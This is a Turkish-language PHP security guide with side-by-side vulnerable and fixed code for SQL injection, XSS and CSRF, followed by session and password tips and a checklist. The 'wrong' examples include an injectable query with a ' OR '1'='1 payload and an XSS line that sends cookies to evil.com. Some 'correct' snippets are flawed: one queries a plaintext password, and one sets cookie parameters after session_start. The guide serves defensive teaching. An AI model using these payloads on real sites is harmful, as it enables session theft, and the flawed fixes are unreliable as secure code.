PHP Güvenlik Duvarı: SQL Injection, XSS, CSRF Tam Koruma Rehberi (2026 Güncel)
PHP Güvenlik Duvarı: SQL Injection, XSS, CSRF
Tam Koruma Rehberi — 2026 Güncel
PHP ile web geliştiriyorsanız bu üç saldırı türünü mutlaka bilmeniz gerekiyor. Her biri gerçek sitelerden veri çalmak veya sunucu ele geçirmek için aktif olarak kullanılıyor.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
SALDIRI TÜRLERİNE GENEL BAKIŞ
- SQL Injection — Veritabanı sorgusunu manipüle eder | Hedef: Veritabanı | Risk: KRİTİK
- XSS — Kullanıcı tarayıcısına zararlı JS enjekte eder | Hedef: Ziyaretçi | Risk: YÜKSEK
- CSRF — Oturumu açık kullanıcı adına işlem yaptırtır | Hedef: Oturum | Risk: ORTA-YÜKSEK
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1. SQL INJECTION KORUMASI
SQL Injection Nedir?
Saldırgan, forma girdiği özel karakterlerle SQL sorgusunu kırar ve veritabanınıza doğrudan komut çalıştırır. Tablolar silinebilir, tüm kullanıcı bilgileri çekilebilir, admin şifreleri ele geçirilebilir.
YANLIŞ — Savunmasız Kod:
Kod:
<?php
// KESİNLİKLE KULLANMAYIN — SQL Injection açığı var
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);
// Saldırgan ' OR '1'='1 girerse tüm kullanıcılar listelenir!
?>
DOĞRU — PDO Prepared Statements:
Kod:
<?php
// GÜVENLİ — Parametrik sorgu (Prepared Statement)
$pdo = new PDO('mysql:host=localhost;dbname=sitem', $user, $pass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$_POST['username'], $_POST['password']]);
$user = $stmt->fetch();
?>
DOĞRU — MySQLi ile Prepared Statement:
Kod:
<?php
$mysqli = new mysqli('localhost', 'user', 'pass', 'dbname');
$stmt = $mysqli->prepare("SELECT id, email FROM users WHERE username = ?");
$stmt->bind_param("s", $_POST['username']);
$stmt->execute();
$result = $stmt->get_result();
$user = $result->fetch_assoc();
$stmt->close();
?>
Ek Önlemler:- Veritabanı kullanıcısına yalnızca gerekli izinleri verin (SELECT/INSERT, asla DROP/ALTER değil)
- Hata mesajlarını production ortamında kullanıcıya göstermeyin
- ORM (Eloquent, Doctrine) kullanıyorsanız yine de raw query yazmaktan kaçının
- PDO bağlantısında ATTR_EMULATE_PREPARES => false zorunlu
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2. XSS (CROSS-SITE SCRIPTING) KORUMASI
XSS Nedir?
Saldırgan yorum kutusuna veya profil alanına zararlı JavaScript kodu yazar. Sayfa bu kodu çıktılarken çalıştırır. Ziyaretçilerin çerezleri çalınabilir, oturumları ele geçirilebilir.
YANLIŞ — Doğrudan Çıktı:
Kod:
<?php
// TEHLİKELİ — kullanıcı verisi filtresiz ekrana basılıyor
echo "Merhaba " . $_GET['name'];
// Saldırgan ?name=<script>document.location='http://evil.com?c='+document.cookie</script> girer
?>
DOĞRU — htmlspecialchars() ile Kaçış:
Kod:
<?php
function xss($data): string {
return htmlspecialchars((string)$data, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
echo "Merhaba " . xss($_GET['name']);
echo "<p>" . xss($user['bio']) . "</p>";
echo "<input value='" . xss($user['city']) . "'>";
?>
DOĞRU — Content Security Policy (CSP) Header:
Kod:
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self';");
header("X-XSS-Protection: 1; mode=block");
header("X-Content-Type-Options: nosniff");
header("X-Frame-Options: SAMEORIGIN");
header("Referrer-Policy: strict-origin-when-cross-origin");
?>
Kullanıcıdan HTML Kabul Ediyorsanız — HTMLPurifier:
Kod:
<?php
require_once 'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$temiz = $purifier->purify($_POST['yorum']);
echo $temiz;
?>
Ek Önlemler:- Çerezlere mutlaka HttpOnly ve Secure flag ekleyin
- JavaScript DOM işlemlerinde innerHTML değil textContent kullanın
- CSP başlıklarını tüm sayfalara uygulayın, sadece giriş sayfasına değil
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
3. CSRF (CROSS-SITE REQUEST FORGERY) KORUMASI
CSRF Nedir?
Kullanıcı sitenize giriş yapmış durumdayken başka bir zararlı siteyi açar. O site arka planda sizin sitenize istek gönderir. Tarayıcı oturum çerezini otomatik ekler, sunucu isteği gerçekmiş gibi işler. Şifre değiştirme, içerik silme gibi işlemler kullanıcının bilgisi olmadan yapılabilir.
DOĞRU — CSRF Token Sistemi (Tam Örnek):
Kod:
<?php
session_start();
function csrf_token(): string {
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
function csrf_verify(): void {
$token = $_POST['csrf_token'] ?? '';
if (!hash_equals($_SESSION['csrf_token'] ?? '', $token)) {
http_response_code(403);
die('Güvenlik hatası: CSRF token geçersiz.');
}
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// Formda kullanım:
// <input type="hidden" name="csrf_token" value="<?= csrf_token() ?>">
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
csrf_verify(); // ilk satır olmalı
// ... diğer işlemler
}
?>
DOĞRU — AJAX İstekleri İçin CSRF:
Kod:
// JavaScript — token meta tag'dan alınır
// <meta name="csrf-token" content="<?= csrf_token() ?>">
const token = document.querySelector('meta[name="csrf-token"]').content;
fetch('/api/islem.php', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': token
},
body: JSON.stringify({ id: 5 })
});
Kod:
<?php
// PHP tarafı — header'dan token doğrula
$token = $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
if (!hash_equals($_SESSION['csrf_token'] ?? '', $token)) {
http_response_code(403);
die(json_encode(['error' => 'CSRF token hatası']));
}
?>
DOĞRU — SameSite Cookie:
Kod:
<?php
session_start();
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]);
?>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
BONUS: OTURUM VE ŞİFRE GÜVENLİĞİ
Güvenli Oturum Yönetimi:
Kod:
<?php
session_start();
session_regenerate_id(true); // Giriş sonrası zorunlu
$timeout = 1800; // 30 dakika
if (isset($_SESSION['son_aktivite']) && (time() - $_SESSION['son_aktivite']) > $timeout) {
session_unset();
session_destroy();
header('Location: /login.php');
exit;
}
$_SESSION['son_aktivite'] = time();
?>
Güvenli Şifre Saklama:
Kod:
<?php
// Kayıt
$hash = password_hash($_POST['password'], PASSWORD_BCRYPT, ['cost' => 12]);
// Doğrulama
if (password_verify($_POST['password'], $hash_from_db)) {
if (password_needs_rehash($hash_from_db, PASSWORD_BCRYPT, ['cost' => 12])) {
$yeni_hash = password_hash($_POST['password'], PASSWORD_BCRYPT, ['cost' => 12]);
// Veritabanını güncelle
}
}
// ASLA: md5(), sha1(), base64_encode() ile şifre saklamayın
?>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
HIZLI KONTROL LİSTESİ
- ZORUNLU — Tüm DB sorgularında Prepared Statement kullanılıyor
- ZORUNLU — Her çıktıda htmlspecialchars() uygulanıyor
- ZORUNLU — Tüm formlarda CSRF token var
- ZORUNLU — Çerezlerde HttpOnly + Secure + SameSite=Strict
- ZORUNLU — Şifreler password_hash() ile saklanıyor
- ZORUNLU — Giriş sonrası session_regenerate_id() çağrılıyor
- ZORUNLU — PHP hata mesajları production'da kapalı
- ÖNERİLEN — Content Security Policy header eklendi
- ÖNERİLEN — PHP 8.2 veya üzeri kullanılıyor
- ÖNERİLEN — OWASP ZAP veya benzeri tarayıcı ile test yapıldı
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Referanslar: OWASP Top 10 (2021), PHP 8.2 Docs, NIST SP 800-63b. Test ortamı: PHP 8.2 / MariaDB 10.6 / Apache 2.4.